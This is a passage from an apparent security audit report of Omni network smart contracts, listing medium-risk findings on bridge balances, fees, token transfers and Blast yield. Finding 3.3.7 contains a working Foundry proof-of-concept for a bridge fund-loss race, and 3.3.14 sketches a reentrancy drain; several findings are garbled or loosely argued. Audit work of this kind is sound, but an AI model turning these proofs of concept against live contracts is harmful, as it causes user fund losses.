Consequently, I would advise to charge the toll on ALL transactions (same as the fees), so the toll is doing fully his duties. This means the user would need to transfer `always a minimum amount` of money, and such amount will depends on the toll %, at 1% toll, minimum amount would be 100 wei (and toll would translate to 1 wei), which is **nothing compared to the fees** that must be paid anyway. So it's a win-win situation, as the code remain solid and secure, while the user have to pay a `miniscule` amount for this.

```
    function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
        // take xcall fee
        uint256 f = xfee();
        require(msg.value >= f, "OmniGasPump: insufficient fee");
        uint256 amtETH = msg.value - f;

        // check max
        require(amtETH <= maxSwap, "OmniGasPump: over max");

        // take toll
        uint256 t = amtETH * toll / TOLL_DENOM;
+       require(t > 0, "Toll invalid");
        amtETH -= t;

        uint256 amtOMNI = _toOmni(amtETH);

        // update owed
        owed[recipient] += amtOMNI;

        // settle up with the gas station
        xcall({
            destChainId: omniChainId(),
            to: gasStation,
            conf: ConfLevel.Latest,
            data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
            gasLimit: SETTLE_GAS
        });

        emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);

        return amtOMNI;
    }
```

3.3.7 Delays in updating the l1BridgeBalance can lead to user fund losses

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Delays in updating the l1BridgeBalance can lead to user fund losses.
- Summary

OmniBridgeNative.sol:L105

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
        require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

        l1BridgeBalance = l1Balance;

        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success);
    }
```

`OmniBridgeNative.l1BridgeBalance` is updated to reflect the L1 balance each time the `withdraw` function is called.

When a user tries to transfer tokens from L2 to L1 using `OmniBridgeNative`, they cannot transfer an amount greater than the `l1BridgeBalance`.

This mechanism is designed to prevent transfer failures due to insufficient token balances on L1.

However, the token transfer process through the bridge inherently causes delays.

Messages from L1 to L2 take about 12 minutes to complete, while messages from L2 to L1 are finalized within 5 to 10 seconds.

As a result, the current value of `OmniBridgeNative.l1BridgeBalance` is likely to differ from the actual L1 balance, increasing the possibility of user fund losses due to this vulnerability.

- Finding Description

Let's look at a specific example.

Suppose a user transfers 1 Omni token from L1 to L2.

At the time the transaction is completed on L1, the bridgeContract's Omni token balance is 100 ether.

It takes 12 minutes for this transfer to be fully completed.

Once the transfer is complete, the `l1BridgeBalance` on L2 becomes 100 ether.

Now, let's assume the user sends 1 wei from L1 to L2.

At this point, the `l1BridgeBalance` on L1 becomes 100 ether + 1 wei. This transfer will also take 12 minutes to complete.

One minute after the 1 wei transfer starts, the user initiates a transfer of 100 ether from L2 to L1. At this point, the `l1BridgeBalance` on L2 becomes 0.

10 seconds later, when the 100 ether transfer completes on L1, the bridgeContract's token balance on L1 becomes 1 wei.

When the 1 wei transfer from L1 is completed on L2, 12 minutes later, the `l1BridgeBalance` on L2 becomes 100 ether + 1 wei.

This means the user can now attempt to transfer 100 ether + 1 wei from L2 to L1.

If the user initiates a transfer of 100 ether + 1 wei from L2 to L1, the transaction will succeed on L2 but fail on L1 due to insufficient token balance.

As a result, the user will lose their funds.

- Impact Explanation

Due to this vulnerability, users may lose the funds they transferred from L2 to L1.

- Likelihood Explanation

If this were a case of transferring ETH from L1 to L2, as with the Arbitrum bridge, exploiting this vulnerability would not be possible.

This is because the total amount of ETH held by individual users on L2 cannot exceed the total amount of ETH locked in the bridge contract on L1.

However, since this bridge uses Omni tokens on L1 and Omni native tokens on L2, the total amount of assets distributed to individual users on L2 can exceed the amount of Omni tokens locked in the L1 bridge.

This indicates that an attack exploiting this vulnerability is feasible in practice.

- Proof of Concept

Add this contract in test/token folder.

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.24;

import { TransparentUpgradeableProxy } from
↪  "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { MockPortal } from "test/utils/MockPortal.sol";
import { NoReceive } from "test/utils/NoReceive.sol";
import { IOmniPortal } from "src/interfaces/IOmniPortal.sol";
import { OmniBridgeNative } from "src/token/OmniBridgeNative.sol";
import { OmniBridgeL1 } from "src/token/OmniBridgeL1.sol";
import { ConfLevel } from "src/libraries/ConfLevel.sol";
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";

/**
 * @title OmniBridgeNative_Test
 * @notice Test suite for OmniBridgeNative contract.
```

```
 */
contract OmniBridgeNativePoC_Test is Test {
    // Events copied from OmniBridgeNative.sol
    event Bridge(address indexed payor, address indexed to, uint256 amount);
    event Withdraw(address indexed payor, address indexed to, uint256 amount, bool success);
    event Claimed(address indexed claimant, address indexed to, uint256 amount);

    MockPortal portal;
    OmniBridgeNativeHarness b;
    OmniBridgeL1 l1Bridge;
    address owner;

    uint64 l1ChainId;
    uint256 totalSupply = 100_000_000 * 10 ** 18;

    function setUp() public {
        portal = new MockPortal();
        l1ChainId = 1;
        l1Bridge = new OmniBridgeL1(makeAddr("token"));
        owner = makeAddr("owner");

        address impl = address(new OmniBridgeNativeHarness());
        b = OmniBridgeNativeHarness(
            address(
                new TransparentUpgradeableProxy(
                    impl, owner, abi.encodeWithSelector(OmniBridgeNative.initialize.selector, (owner))
                )
            )
        );

        vm.prank(owner);
        b.setup(l1ChainId, address(portal), address(l1Bridge));
        vm.deal(address(b), totalSupply);
    }

    function test_l1BridgeBalance_poc() public {
        address payor = makeAddr("payor");
        address to = makeAddr("to");
        uint256 amount = 1e18;
        uint256 _100Eth = 100e18;
        uint256 l1BridgeBalance = _100Eth;
        uint64 gasLimit = l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();

        uint256 gasUsed = portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(l1Bridge),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, l1BridgeBalance)),
            gasLimit: gasLimit
        });

        console.log("when balanceOf(l1Bridge) is 100 ether, l1BridgeBalance: ", b.l1BridgeBalance());

        // ...
        // User(or Attacker) bridges 1 wei Omni token from L1 to Omni network.
        // Then omniToken.balanceOf(address(l1Bridge)) is _100Eth + 1.
        // Approximately 12 minutes later, the transaction on L1 will be reflected on L2,
        // triggering the withdraw function of the OmniBridgeNative contract.
        // What do you think would happen if another user or attacker bridges an amount of Native tokens equal
        // to the _100Eth from L2 to L1 before this transaction is executed on L2?
        // ...

        // Let's assume that the transaction transferring 1 wei token from L1 to L2 has just been executed.
        console.log("when balanceOf(l1Bridge) is 100 ether + 1 wei, l1BridgeBalance: ", b.l1BridgeBalance());

        // User (or Attacker) transfers an amount equal to the _100Eth to L1
        // while the process of sending 1 wei token from L1 to L2 has been completed on L1 but not yet
↪   finalized on L2.
        // after 1 min
        vm.warp(block.timestamp + 60);
        uint256 fee = b.bridgeFee(to, _100Eth);
        b.bridge{ value: _100Eth + fee }(to, _100Eth);
        // This will be reflected on L1 in 5 to 10 seconds.
        // When this transfer is completed, omniToken.balanceOf(address(l1Bridge)) on L1 will be 1 wei.

        console.log("when balanceOf(l1Bridge) is 100 ether + 1 wei, l1BridgeBalance: ", b.l1BridgeBalance());
```

```
        // Now, approximately 12 minutes after the request for the 1 wei transfer,
        // the final transaction to complete it is executed on L2.
        // At this point, the input value for the l1BridgeBalance in this call is still _100Eth + 1.

        vm.warp(block.timestamp + 11 * 60);
        gasUsed = portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(l1Bridge),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, 1, _100Eth + 1)),
            gasLimit: gasLimit
        });

        console.log("when balanceOf(l1Bridge) is 1 wei, l1BridgeBalance: ", b.l1BridgeBalance());

        // Even though the l1BridgeBalance on L1 is 1 wei, the l1BridgeBalance on L2 is _100Eth + 1.
        // If the user sends assets worth _100Eth + 1 from L2 to L1, the transaction will be completed on L2
↪   without any issues.
        fee = b.bridgeFee(to, _100Eth + 1);
        b.bridge{ value: _100Eth + 1 + fee }(to, _100Eth + 1);
        // Although the transfer succeeds on L2, the OmniBridgeL1.withdraw function call will fail on L1 due
↪   to insufficient token balance.
        // As a result, the user will lose their funds permanently.

        // Such user fund losses can occur either due to deliberate attacks by malicious actors
        // and even if there are no deliberate attacks, these losses can still occur during the normal use of
↪   the bridge.
    }

}

/**
 * @title OmniBridgeNativeHarness
 * @notice A harness for testing OmniBridgeNative that exposes setup and state modifiers.
 */
contract OmniBridgeNativeHarness is OmniBridgeNative {
    function setL1BridgeBalance(uint256 balance) public {
        l1BridgeBalance = balance;
    }
}
```

Logs:

```
  when balanceOf(l1Bridge) is 100 ether, l1BridgeBalance:  10000000000000000000
  when balanceOf(l1Bridge) is 100 ether + 1 wei, l1BridgeBalance:  10000000000000000000
  when balanceOf(l1Bridge) is 100 ether + 1 wei, l1BridgeBalance:  0
  when balanceOf(l1Bridge) is 1 wei, l1BridgeBalance:  10000000000000000001
```

- Recommendation

It is reasonable to add the amount to the l1BridgeBalance instead of overriding it in the withdraw function.

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
        require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

        l1BridgeBalance = l1Balance; // -> l1BridgeBalance += amount;

        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success);
    }
```

3.3.8 Loss of native yield revenue in blast network

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

blast network is among the top 5 ethereum l2 and it offers a native yield of 4% on ETH. To claim this yield the protocol need to configure the claim functionality in smart contract using this guide

https://docs.blast.io/building/guides/eth-yield

In the case of the Omni,`OmniPortal` holds ETH as an xFee and `OmniGasPump` in the form of swapped ETH. The yield generated by these ETHs will be lost in blast.

- Recommendation

```
interface IBlast{
    // See IBlast interface source code below
}

contract MyContract {
    constructor() {
        IBlast(0x43...02).configureClaimableYield()
    }

    function claimYield(address recipient, uint256 amount) external {
      //This function is public meaning anyone can claim the yield
        IBlast(0x43...02).claimYield(address(this), recipient, amount);
  }

    function claimAllYield(address recipient) external {
      //This function is public meaning anyone can claim the yield
        IBlast(0x43...02).claimAllYield(address(this), recipient);
  }
}
```


for all contracts that will be deployed to blast, set yield claim mode to claimable and implement function to claim yield.

3.3.9 Improper Handling of Token Transfers with Non-Standard ERC20 Tokens (e.g., USDT)

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary: The withdraw function in the audited smart contract directly calls the transfer function of an ERC20 token without verifying its success. This could lead to an issue when interacting with non-standard ERC20 tokens, such as USDT,ZRX, BNB e. t. c. which do not return a boolean (bool) indicating whether the transfer succeeded or failed. If the transfer fails (e.g., due to insufficient balance or an internal error), the function does not handle the failure appropriately, potentially leading to inconsistencies in the system.

Vulnerability Details: The specific issue arises from the following code in the `withdraw function`:and not just this function, same with the`bridge function`' and any other function that might be involved in such action involving ERC20 transfer() andtransferfrom()“

```
Copy code
@>> token.transfer(to, amount);
``
In this implementation, the token.transfer function is called, but there is no check for whether the transfer
↪  was successful. Many ERC20 tokens, including widely-used tokens like USDT, do not return a boolean value
↪  from their transfer function. Instead of reverting on failure, these tokens may silently fail without
↪  returning false or throwing an error.

In such cases, if the transfer fails, the function would proceed as if the transfer had succeeded. The
↪  contract might emit a Withdraw event, giving the impression that the withdrawal was successful, even
↪  though no tokens were transferred. This creates an inconsistency between the recorded events and the
↪  actual token balances.

Potential Impact:
```

```
Inconsistent State: The contract may emit a Withdraw event, indicating a successful transfer when no tokens
↪  were actually transferred. This could cause confusion for users and system operators.

Fund Loss or Stuck Tokens: If the contract logic assumes the transfer succeeded when it failed, users may
↪  think they have successfully withdrawn tokens that are still in the contract, leading to frustration and
↪  possible support issues.

Proof of Concept:
A simple example showing how a non-standard ERC20 token (e.g., USDT) could result in this issue:

solidity
Copy code
function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

  @>>       token.transfer(to, amount);

        emit Withdraw(to, amount);
    }
Recommendation:
To mitigate this issue, it is recommended to use ``OpenZeppelin's SafeERC20 library``, which wraps ERC20 token
↪  interactions in a way that ensures compliance with both standard and non-standard tokens like USDT. The
↪  library uses low-level calls and properly handles cases where the token does not return a boolean value.

The relevant part of the function should be updated as follows:

```solidity
Copy code
// Import SafeERC20 library
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract YourContract {
    using SafeERC20 for IERC20;

    function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

@audit >>       // Use safeTransfer to handle non-standard ERC20 tokens like USDT
        token.safeTransfer(to, amount);

        emit Withdraw(to, amount);
    }
}
```

By using SafeERC20, the contract will revert if the transfer fails, ensuring that the withdrawal only proceeds if the token transfer is successful.

3.3.10 Insufficient Input Validation in the withdraw function of OmniBridgeL1.sol and OmniBridgeNative.sol .sol

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary: The `withdraw` function in the smart contract does not validate two critical aspects before transferring tokens:

It allows transfers to the zero address (`address(0)`), which can result in token loss by effectively burning them. It does not verify that the amount parameter is greater than zero, which can result in unnecessary contract interaction or zero-value transfers; Just the way the `bridge` and `Claim` function does. These missing validations can lead to undesirable outcomes such as token loss and event inconsistencies.

- Vulnerability Details:

1. Zero Address (`address(0)`) Transfer In the current implementation of the withdraw function, there
```

is no check to ensure that the to address is not the zero address. If tokens are transferred to address(0), they will be irreversibly lost, as the zero address serves as a burn address.

Relevant code snippet:

```
Copy code
token.transfer(to, amount);
```

Since there is no require(`to != address(0)`) check, tokens can be sent to `address(0)`, leading to permanent loss of funds.

2. Amount Check The function also lacks a check to ensure that the amount being transferred is greater than zero. This can result in zero-value transfers, which waste gas and emit Withdraw events even though no tokens are actually transferred. Although such transactions might not directly impact funds, they can cause confusion and increase the load on event listeners and log processors.

Relevant code snippet:

Without an amount > 0 validation, the function allows zero-value transfers.

- Potential Impact: Loss of Funds: If tokens are transferred to address(0), they will be burned and lost forever. This can lead to irrecoverable token loss and potentially serious consequences for the users or system.

Inconsistent Withdraw Events: If zero-value transfers are allowed, the Withdraw event would be emitted even when no tokens are transferred, leading to inconsistencies in the event logs and causing confusion for users and developers analyzing these logs.

- Proof of Concept:

1. Zero Address Transfer: If the to address is set to address(0), the transfer would result in a burn:

```
Copy code
withdraw(address(0), 1000);  // This would burn 1000 tokens
```

2. Zero Amount Transfer: If the amount parameter is set to 0, the function will still proceed, emitting a Withdraw event, but no tokens will be transferred:

```
Copy code
withdraw(userAddress, 0);  // Unnecessary transfer, but still emits the event
```

- Recommended Fix: To address both issues, the withdraw function should be updated with the following checks:

Zero Address Validation: Add a check to ensure the to address is not the zero address. Amount Validation: Add a check to ensure that the amount is greater than zero. Here is the updated code:

```
function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
    XTypes.MsgContext memory xmsg = omni.xmsg();

    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");
++require(to != address(0), "OmniBridge: transfer to the zero address");  // Zero address check
++require(amount > 0, "OmniBridge: transfer amount must be greater than zero");  // Amount check

    token.transfer(to, amount);

    emit Withdraw(to, amount);
}
```

3.3.11 Improper Gas Limit Handling in `feeFor` Function Allows Undervaluation of Fees and Potential Transaction Failures

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Vulnerability Detail: The feeFor function in the `FeeOracleV1` contract calculates the fees for cross-chain messages by combining a base gas limit (`baseGasLimit`), a user-provided gas limit (`gasLimit`), and gas prices for execution and data handling on the destination chain.

Here's the key code from the `feeFor` function:

```
function feeFor(uint64 destChainId, bytes calldata data, uint64 gasLimit) external view returns (uint256) {
    IFeeOracleV1.ChainFeeParams storage execP = _feeParams[destChainId];
    IFeeOracleV1.ChainFeeParams storage dataP = _feeParams[execP.postsTo];

    uint256 execGasPrice = execP.gasPrice * execP.toNativeRate / CONVERSION_RATE_DENOM;
    uint256 dataGasPrice = dataP.gasPrice * dataP.toNativeRate / CONVERSION_RATE_DENOM;

    require(execGasPrice > 0, "FeeOracleV1: no fee params");
    require(dataGasPrice > 0, "FeeOracleV1: no fee params");

    uint256 dataGas = data.length * 16;

    // Total fee calculation
    return protocolFee + (baseGasLimit + gasLimit) * execGasPrice + (dataGas * dataGasPrice);
}
```

The `feeFor` function is designed to compute the total fee as a sum of:

1. `protocolFee`: A fixed fee for each cross-chain message.
2. `(baseGasLimit + gasLimit) * execGasPrice`: The gas cost for execution, which includes the contract-defined `baseGasLimit` and user-provided `gasLimit`.
3. `dataGas * dataGasPrice`: The gas cost for handling message data on the destination chain.

The vulnerability lies in the fact that **there is no lower bound validation for** `gasLimit`, which is provided by the user. The absence of a check for minimum gas limit means that a user can set `gasLimit` to a very low or even zero value, allowing them to bypass appropriate fee calculation and potentially causing insufficient gas to be collected for the transaction to succeed on the destination chain.

- Impact: If a user sets an unreasonably low `gasLimit`, the calculated fee will not reflect the actual gas required to process the cross-chain message. This could result in **transaction failures** on the destination chain, as the total gas fee may be insufficient to cover the execution and data processing. This not only disrupts the user's transaction but could also create inefficiencies or blockages in the messaging system if multiple users provide inadequate gas limits.

For example, with the current logic:

- If `baseGasLimit = 100_000` and the user sets `gasLimit = 0`, the fee would be calculated based solely on the `baseGasLimit`. However, if the actual execution cost requires more than `100_000` gas, the transaction will fail, but the user would not have been charged appropriately.
- Likelihood: This issue is **likely to occur** because users have direct control over the `gasLimit` parameter. Users may intentionally or unintentionally set a very low `gasLimit` to minimize fees without realizing that it could result in a failed transaction. Without proper checks in place, it is easy for users to submit an insufficient `gasLimit`, especially if they are unaware of the required execution gas.
- Mitigation: The vulnerability can be mitigated by introducing a **minimum gas limit check** in the `feeFor` function. This will ensure that users provide a `gasLimit` that is sufficient for processing the cross-chain message.

Here is an example of how to enforce a minimum gas limit:

```
uint64 public constant MIN_GAS_LIMIT = 10_000; // Example minimum gas limit

function feeFor(uint64 destChainId, bytes calldata data, uint64 gasLimit) external view override returns
↪  (uint256) {
    // Ensure that the user-provided gas limit is at least the minimum required
    require(gasLimit >= MIN_GAS_LIMIT, "FeeOracleV1: gas limit too low");

    IFeeOracleV1.ChainFeeParams storage execP = _feeParams[destChainId];
    IFeeOracleV1.ChainFeeParams storage dataP = _feeParams[execP.postsTo];

    uint256 execGasPrice = execP.gasPrice * execP.toNativeRate / CONVERSION_RATE_DENOM;
    uint256 dataGasPrice = dataP.gasPrice * dataP.toNativeRate / CONVERSION_RATE_DENOM;

    require(execGasPrice > 0, "FeeOracleV1: no fee params");
    require(dataGasPrice > 0, "FeeOracleV1: no fee params");

    uint256 dataGas = data.length * 16;

    // Total fee calculation
    return protocolFee + (baseGasLimit + gasLimit) * execGasPrice + (dataGas * dataGasPrice);
}
```

This solution ensures that users cannot submit a `gasLimit` that is lower than `MIN_GAS_LIMIT`, which prevents the underfunding of cross-chain transactions. This simple validation improves the reliability and efficiency of the system by enforcing a reasonable gas limit.

3.3.12 Loss of gas revenue in blast

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

Note: This is a different issue from issue number #26, In that issue i talked about the loss of native yield but in this issue, it is about the sequencer fees refund.

https://docs.blast.io/building/guides/gas-fees

Existing L2s like Optimism and Arbitrum keep sequencer fees for themselves. Blast redirects sequencer fees to the dapps that induced them, allowing smart contract developers to have an additional source of revenue.

Omni contract doesn't have a mechanism to handle this so it will lose the benefit of fee refund in blast.

- Recommedation

```
interface IBlast {
  *// Note: the full interface for IBlast can be found below*function configureClaimableGas() external;
  function claimAllGas(address contractAddress, address recipient) external returns (uint256);
}

contract MyContrac is Ownable {
  IBlast public constant BLAST = IBlast(0x4300000000000000000000000000000000000002);

  constructor() {
    *// This sets the Gas Mode for MyContract to claimable*
    BLAST.configureClaimableGas();
  }

  *// Note: in production, you would likely want to restrict access to this*function claimMyContractsGas()
↪  onlyOwner external {
    BLAST.claimAllGas(address(this), msg.sender);
  }
}
```

for all contracts that will be deployed to blast, set gas mode to claimable and implement function to claim gas.

3.3.13 Failed OMNI bridged tokens might remain locked forever if payor is a smart account and OMNI transfer fails

Severity: Medium Risk

Context: OmniPortal.sol#L151

- Summary

If users bridge OMNI via a smart account from L1 to Omni chain and the OMNI transfer fails on Omni chain, funds might remain locked forever.

- Finding Description

Users can bridge their OMNI tokens from L1->Omni by using OmniBridgeL1's bridge() function. Note that this function will hardcode payor to msg.sender:

```
// File: OmniBridgeL1.sol

function bridge(address to, uint256 amount) external payable whenNotPaused(ACTION_BRIDGE) {
        _bridge(msg.sender, to, amount);
    }

    /**
     * @dev Trigger a withdraw of `amount` OMNI to `to` on Omni's EVM, via xcall.
     */
    function _bridge(address payor, address to, uint256 amount) internal {
       ...
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
↪  amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
↪  insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(payor, to, amount);
    }
```

On Omni network, the OMNI transfer will be received via the "withdraw(). This function will try to send OMNIto thetoaddress via a low-level call. If this call fails, aclaimablemapping will be increased byamountfor thepayor', so that funds can be retrieved:

```
// File: OmniBridgeNative.sol
function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        ...

        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success);
    }
```

The problem is that, because on the origin chain the payor is hardcoded to msg.sender, if msg.sender is a smart account funds could remain stuck forever or stolen if the owner of such smart account is not the same on the Omni network. This is a common issue in cross-chain protocols, as it can never be guaranteed that the owner of a smart account in one chain will be the owner of such account in other chains.

- Impact Explanation

If OMNI transfers fail, funds could be stolen for users that interacted with the portal using smart contract wallets.

- Likelihood Explanation

Likelihood is low, as it requires users using a smart account, and sending a message so that it fails due to any reason.

- Recommendation

Allow users to specify a refund address which is an EOA. If the withdrawal of funds fails, `claimable` should be set to the refund address, instead of the payor.

```
// File: OmniBridgeL1.sol

- function bridge(address to, uint256 amount) external payable whenNotPaused(ACTION_BRIDGE) {
-     _bridge(msg.sender, to, amount);
+ function bridge(address to, uint256 amount, address refundAddr) external payable
↪  whenNotPaused(ACTION_BRIDGE) {
+     _bridge(msg.sender, to, amount, refundAddr);
    }

    /**
     * @dev Trigger a withdraw of `amount` OMNI to `to` on Omni's EVM, via xcall.
     */
-    function _bridge(address payor, address to, uint256 amount) internal {
+    function _bridge(address payor, address to, uint256 amount, address refundAddr) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");
+       require(!refundAddr.isContract(), "OmniBridge: no bridge to zero"); // Note: Use OZ's contract checker
↪  for addresses

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
-            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
↪  amount));
+            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, refundAddr,
↪  token.balanceOf(address(this)) + amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
↪  insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

-        emit Bridge(payor, to, amount);
+        emit Bridge(payor, to, amount, refundAddr);
    }
```

3.3.14 Reentrancy drain by pump

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

if the pump is a contract that can be triggered than any user can call https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/token/OmniGasStation.sol#L66 the settleUp function than in the low level call he can trigger again the call to again and drain all the funds. classic checks effects interactions.

3.3.15 Manager can be 0 by initialize

Severity: Medium Risk

Context: FeeOracleV1.sol#L57

there is no check in the initialize but there is a check in the external ownerOnly setManager function.

3.3.16 Manager can be 0

Severity: Medium Risk

Context: FeeOracleV2.sol#L57

can be set to 0 (there is a check in the external setter so should also be here)

3.3.17 Lack of check for update of nonce

Severity: Medium Risk

Context: OmniPortal.sol#L707

there should be a check that this only increase because otherwise we can replay all the xmsg s that were sent from that offset to current. fix: check that new is bigger than current

3.3.18 Use memory safe in getPermit2Code

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Preinstalls.sol#L111 function getPermit2Code(uint256 *chainID) internal pure returns (bytes memory out*) { bytes32 nameHash = keccak256(abi.encodePacked("Permit2")); bytes32 typeHash = keccak256(abi.encodePacked("EIP712Domain(string name,uint256 chainId,address verifyingContract)")); bytes32 domainSeparator = keccak256(abi.encode(typeHash, nameHash, *chainID, Permit2)); out* = Permit2TemplateCode; assembly { mstore(add(add(out_, 0x20), 6945), *chainID) mstore(add(add(out*, 0x20), 6983), domainSeparator) } return out_; } }
- Recommendation use memory safe in assembly.

3.3.19 Use safetransfer instead of transfer

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description we are not checking the output of transfer as it may be false or true or none. function _burnFee() internal { require(msg.value >= Fee, "Slashing: insufficient fee"); payable(BurnAddr).transfer(msg.value); }
- Recommendation use safetransfer instead of transfer.

3.3.20 Use storage gap on upgradable contract

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description as wehttps://github.com/omni-network/omni/blob/main/contracts/core/src/xchain/OmniPortal.sol# can see that Staking and Upgrade contract are upgradable and we should use storage gap for the further change. https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol#L2C1-L6C4 pragma solidity =0.8.24;

import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Upgrade.sol#L2C1-L4C104 pragma solidity =0.8.24;

import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgrad
import { ExcessivelySafeCall } from "@nomad-xyz/excessively-safe-call/src/ExcessivelySafeCall.sol";

import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";

import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import { ConfLevel } from "../libraries/ConfLevel.sol"; https://github.com/omni-network/omni/blob/main/contracts/core/src/xchain/PortalRegistry.sol#L4

import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import { PausableUpgradeable } from "../utils/PausableUpgradeable.sol"; https://github.com/omni-network/omni/blob/main/contracts/core/src/token/OmniBridgeCommon.sol#L4C1-L5C72

- Recommendation use storage gap.

3.3.21 Use safeTransfer instead of transfer

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Describe

function _burnFee() internal { require(msg.value >= Fee, "Slashing: insufficient fee"); payable(BurnAddr).transfer(msg.value); } https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Slashing.sol#L43 function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) { XTypes.MsgContext memory xmsg = omni.xmsg();

```
    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

    token.transfer(to, amount);

    emit Withdraw(to, amount);
}
```


https://github.com/omni-network/omni/blob/main/contracts/core/src/token/OmniBridgeL1.sol#L59

Tokens not compliant with the ERC20 specification could return `false` from the `transfer` function call to indicate the transfer fails, while the calling contract would not notice the failure if the return value is not checked. Checking the return value is a requirement, as written in the EIP-20 specification:

> Callers MUST handle `false` from `returns (bool success)`. Callers MUST NOT assume that `false` is never returned!

- Recommendation use safetransfer

3.3.22 `gasPerPubdataByte` not taken into account in gas logic, logic not compatible with zkSync's zkEVM environment

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

